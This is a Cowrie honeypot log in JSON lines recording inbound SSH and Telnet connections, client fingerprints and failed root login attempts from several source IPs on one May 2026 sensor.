{"eventid":"cowrie.login.failed","username":"root","password":"glass","message":"login attempt [root/glass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:56.463178Z","src_ip":"43.135.176.251","session":"2dda1e0355d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17660117149353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:57.535465Z","src_ip":"192.119.13.58","session":"12ae4b48f110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:57.540851Z","src_ip":"43.135.176.251","session":"2dda1e0355d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":47982,"dst_ip":"159.203.135.109","dst_port":22,"session":"1797dd52807a","protocol":"ssh","message":"New connection: 207.56.225.202:47982 (159.203.135.109:22) [session: 1797dd52807a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:59.226485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:59.231231Z","src_ip":"207.56.225.202","session":"1797dd52807a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:59.396782Z","src_ip":"207.56.225.202","session":"1797dd52807a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":37722,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a26449dac6","protocol":"ssh","message":"New connection: 103.98.149.87:37722 (159.203.135.109:22) [session: 59a26449dac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:59.543876Z"}
{"eventid":"cowrie.session.closed","duration":48.237019777297974,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:59.707052Z","src_ip":"192.119.13.58","session":"8db3b7ac5db6","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:59.724936Z","src_ip":"103.98.149.87","session":"59a26449dac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:59.867396Z","src_ip":"103.98.149.87","session":"59a26449dac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiao123456","message":"login attempt [root/xiao123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:00.084041Z","src_ip":"207.56.225.202","session":"1797dd52807a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"72dfb85499c2","protocol":"telnet","message":"New connection: 192.119.13.58:46072 (10.17.0.5:23) [session: 72dfb85499c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:00.267917Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:01.250307Z","src_ip":"207.56.225.202","session":"1797dd52807a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46926,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a94053b933e","protocol":"telnet","message":"New connection: 192.119.13.58:46926 (10.17.0.5:23) [session: 4a94053b933e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:01.522968Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52692,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1bbb9ffbca6","protocol":"telnet","message":"New connection: 192.119.13.58:52692 (10.17.0.5:23) [session: f1bbb9ffbca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:01.869404Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":33352,"dst_ip":"10.17.0.5","dst_port":22,"session":"0504b368c702","protocol":"ssh","message":"New connection: 128.0.104.39:33352 (10.17.0.5:22) [session: 0504b368c702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:01.999405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.008918Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.135993Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56186,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a3d3345981","protocol":"telnet","message":"New connection: 192.119.13.58:56186 (10.17.0.5:23) [session: b9a3d3345981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.708921Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:cd:25:d9:e5:c5:3e:cb:f1:d5:09:f7:d2:39:98:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf4eNy+3DohVYrfftBFt7uClWXwk2FYTwM3QbzDQZcLWbiJ9d55icFcFi1QcfeS8GXIoi+EeRLmSr458DkmMRKP3E/4bbSdKuQ06W8pwj1hI5FjCAKybX3vTmNFY877yiAIuFpaKr4omQqUsg8Gum9enSBu558FqFNAnT+dO1h67DNqkaBtwSmHxrVctj3y8Tt7KtRwCZ1VLZXOhjPwP9sNIJ5Fpvh5/ciew9qzwVLTUZbvPPDvVPhHPGbTf/+zUBNAYi7Uxyua2/lTZTHecdda9qlCpvMWn1GGW7/cjfuEzh+LC87VQKzNl17luo9tuZO5dg6yxlzwJMkPZ08Wy+t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:cd:25:d9:e5:c5:3e:cb:f1:d5:09:f7:d2:39:98:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.731268Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:cd:25:d9:e5:c5:3e:cb:f1:d5:09:f7:d2:39:98:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf4eNy+3DohVYrfftBFt7uClWXwk2FYTwM3QbzDQZcLWbiJ9d55icFcFi1QcfeS8GXIoi+EeRLmSr458DkmMRKP3E/4bbSdKuQ06W8pwj1hI5FjCAKybX3vTmNFY877yiAIuFpaKr4omQqUsg8Gum9enSBu558FqFNAnT+dO1h67DNqkaBtwSmHxrVctj3y8Tt7KtRwCZ1VLZXOhjPwP9sNIJ5Fpvh5/ciew9qzwVLTUZbvPPDvVPhHPGbTf/+zUBNAYi7Uxyua2/lTZTHecdda9qlCpvMWn1GGW7/cjfuEzh+LC87VQKzNl17luo9tuZO5dg6yxlzwJMkPZ08Wy+t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.737324Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13579","message":"login attempt [root/13579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.865007Z","src_ip":"103.98.149.87","session":"59a26449dac6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:ca:63:21:32:97:28:29:b0:60:fc:6d:d0:bd:21:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDveUqasnjygv7voch1QNlCudISI7uHeuVb8xUTEH+TebldBdS3VO4C4C38M7ebfIG70yGTCPAtShRnQCKbyVQ4A9H9mydEEQPoJU/n3CDERktovWfUk5k0FWMjet3GkXV4+PikUD7k1PsMEByEqGf5uz45UBHqye2gv0fmShnNP5ysfrTyW4fT/5a75iEP8OonffiV2u5YCToHDfgo+JFzPcczw+Yuqe4Ko9og2olw5tzhvHj9PUAOrMHpthw/BprF/aoRhwx/nVyqfkzYpG58a6Lt4aygS6JsA9LJNiLDwW2cQH0pvNMo1azUZZPKNs8kT2JNTUlEFy76CnOswi9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:ca:63:21:32:97:28:29:b0:60:fc:6d:d0:bd:21:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.873133Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:ca:63:21:32:97:28:29:b0:60:fc:6d:d0:bd:21:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDveUqasnjygv7voch1QNlCudISI7uHeuVb8xUTEH+TebldBdS3VO4C4C38M7ebfIG70yGTCPAtShRnQCKbyVQ4A9H9mydEEQPoJU/n3CDERktovWfUk5k0FWMjet3GkXV4+PikUD7k1PsMEByEqGf5uz45UBHqye2gv0fmShnNP5ysfrTyW4fT/5a75iEP8OonffiV2u5YCToHDfgo+JFzPcczw+Yuqe4Ko9og2olw5tzhvHj9PUAOrMHpthw/BprF/aoRhwx/nVyqfkzYpG58a6Lt4aygS6JsA9LJNiLDwW2cQH0pvNMo1azUZZPKNs8kT2JNTUlEFy76CnOswi9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:02.877797Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:ac:40:20:04:1d:04:25:bc:12:0a:f1:25:ae:32:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjvN0QHK5Rc866mSVIBDtUQOUZTTFeflY94rYHpPSZ6SrvFtdd/atIv5RylMYWUm/AvDMiz66J6GO2EoCvh+rhC3l/cTNVfsSe3K6l5FJ3YKhJpr5Pbx51Tnvr9MgOyWto2kBG9oeyvE42jOtc0rMx+ynIYJRvE5EEkW5/orMip9/kmBv6r86CfpAX8+KD08Hh4pCfaSYvDZybBq0zgC90f5iu+U+jIIQ5H/scawlb6+iORFfOc/FF0a4hDFUta+HsON8PKO4XGsCxXeA4x59pBzSIeyIcZnJNkiqxE7INzIL5STCF4vQwP1OVMw/2WnyimsXFPnwhDscRiC64nCg3027fJ9ygSpOS4Lgf5EQtXT6DaChD51QQ4SLyTSqPP7rTJyp8jQqxMXpnOrimlube0qtgaO9NC8ci0rvb2kkVQ9zPE/VHY/m3kPo6KQktNEDtQJFMOybqmcZpzBLBht9fvUUqAi/cWG1S/RMgmLeK4E6h9YV04af8i1mJufCrJc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:ac:40:20:04:1d:04:25:bc:12:0a:f1:25:ae:32:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:03.010913Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:ac:40:20:04:1d:04:25:bc:12:0a:f1:25:ae:32:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjvN0QHK5Rc866mSVIBDtUQOUZTTFeflY94rYHpPSZ6SrvFtdd/atIv5RylMYWUm/AvDMiz66J6GO2EoCvh+rhC3l/cTNVfsSe3K6l5FJ3YKhJpr5Pbx51Tnvr9MgOyWto2kBG9oeyvE42jOtc0rMx+ynIYJRvE5EEkW5/orMip9/kmBv6r86CfpAX8+KD08Hh4pCfaSYvDZybBq0zgC90f5iu+U+jIIQ5H/scawlb6+iORFfOc/FF0a4hDFUta+HsON8PKO4XGsCxXeA4x59pBzSIeyIcZnJNkiqxE7INzIL5STCF4vQwP1OVMw/2WnyimsXFPnwhDscRiC64nCg3027fJ9ygSpOS4Lgf5EQtXT6DaChD51QQ4SLyTSqPP7rTJyp8jQqxMXpnOrimlube0qtgaO9NC8ci0rvb2kkVQ9zPE/VHY/m3kPo6KQktNEDtQJFMOybqmcZpzBLBht9fvUUqAi/cWG1S/RMgmLeK4E6h9YV04af8i1mJufCrJc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:03.014337Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:40:a6:2a:fe:26:8f:0a:90:af:72:a0:5f:60:16:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHGE6DBCx/sIypc6yUjCdMVEiwMwA228j1+yqn/2xO5SppYNrw6PqpjBjN1zAuqinazlwrews5zI8nfJNuZfyzjWJJjYu8UANMtYFBaLpJemOCZUtYeu5fMu9hjsgSI0jCg9UzMuNoYq93yEdrLX56dZawpU44SIQBxVS/5NcZiMDroi3EIuKhBX+pWp11+mtAYk/vcKohqjtc7sI4BejkpqdEmbN3mutJzuVNoYP5efBWvPSPbBssLl6LvE/CG1w2uEzNKSFs9H0VojuLyl6EU2Gm/On6w5o6yqUYVd7i6RUje08a7SI2vV/8NBXVshC9YRoV77rs5RnufC40c6xF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:40:a6:2a:fe:26:8f:0a:90:af:72:a0:5f:60:16:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:03.139407Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:40:a6:2a:fe:26:8f:0a:90:af:72:a0:5f:60:16:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHGE6DBCx/sIypc6yUjCdMVEiwMwA228j1+yqn/2xO5SppYNrw6PqpjBjN1zAuqinazlwrews5zI8nfJNuZfyzjWJJjYu8UANMtYFBaLpJemOCZUtYeu5fMu9hjsgSI0jCg9UzMuNoYq93yEdrLX56dZawpU44SIQBxVS/5NcZiMDroi3EIuKhBX+pWp11+mtAYk/vcKohqjtc7sI4BejkpqdEmbN3mutJzuVNoYP5efBWvPSPbBssLl6LvE/CG1w2uEzNKSFs9H0VojuLyl6EU2Gm/On6w5o6yqUYVd7i6RUje08a7SI2vV/8NBXVshC9YRoV77rs5RnufC40c6xF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:03.144835Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:55:9f:4e:4a:69:93:e1:84:04:c0:aa:88:bb:f9:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm87QzXyTN1y7f0zAzVZ0g7QceP33e3y2lnRRJ3Ni1zdemxljpYnSndkautFv4e9HJVM0I3JB5zeGRHkxGFPunJufCjSVLY2nigCetZAyuCesPDZlBLopy16sbG51SqyOqW70FILJOhk+v5ipZZ9T+FlveNMJxlFVGo6+BgwbqUAbMf9dF2C1yju86oWI0/s2PZj6h/5Td7GcS41b9LLaHOARVYqMwVuQ1Hje3uoMoqIiczpbB5VjJJnaIr8/TvdKrE89J3Tz4qAzMve+DCByDc6ElNjO1XWFH7F878S9oNmxlk8D6RI48R8LfE7NI+Gf/z072CSZTZN42gXEZoMUv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:55:9f:4e:4a:69:93:e1:84:04:c0:aa:88:bb:f9:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:03.276101Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:55:9f:4e:4a:69:93:e1:84:04:c0:aa:88:bb:f9:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm87QzXyTN1y7f0zAzVZ0g7QceP33e3y2lnRRJ3Ni1zdemxljpYnSndkautFv4e9HJVM0I3JB5zeGRHkxGFPunJufCjSVLY2nigCetZAyuCesPDZlBLopy16sbG51SqyOqW70FILJOhk+v5ipZZ9T+FlveNMJxlFVGo6+BgwbqUAbMf9dF2C1yju86oWI0/s2PZj6h/5Td7GcS41b9LLaHOARVYqMwVuQ1Hje3uoMoqIiczpbB5VjJJnaIr8/TvdKrE89J3Tz4qAzMve+DCByDc6ElNjO1XWFH7F878S9oNmxlk8D6RI48R8LfE7NI+Gf/z072CSZTZN42gXEZoMUv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:03.280728Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:03.410854Z","src_ip":"128.0.104.39","session":"0504b368c702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:04.228311Z","src_ip":"103.98.149.87","session":"59a26449dac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40430,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c9e5d5ad0f4","protocol":"ssh","message":"New connection: 46.19.67.181:40430 (159.203.135.109:22) [session: 4c9e5d5ad0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:05.074409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:05.078926Z","src_ip":"46.19.67.181","session":"4c9e5d5ad0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6166e658228c","protocol":"telnet","message":"New connection: 192.119.13.58:37796 (10.17.0.5:23) [session: 6166e658228c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:05.121602Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:05.196742Z","src_ip":"46.19.67.181","session":"4c9e5d5ad0f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234554321a","message":"login attempt [root/1234554321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:05.555572Z","src_ip":"46.19.67.181","session":"4c9e5d5ad0f4","protocol":"ssh"}
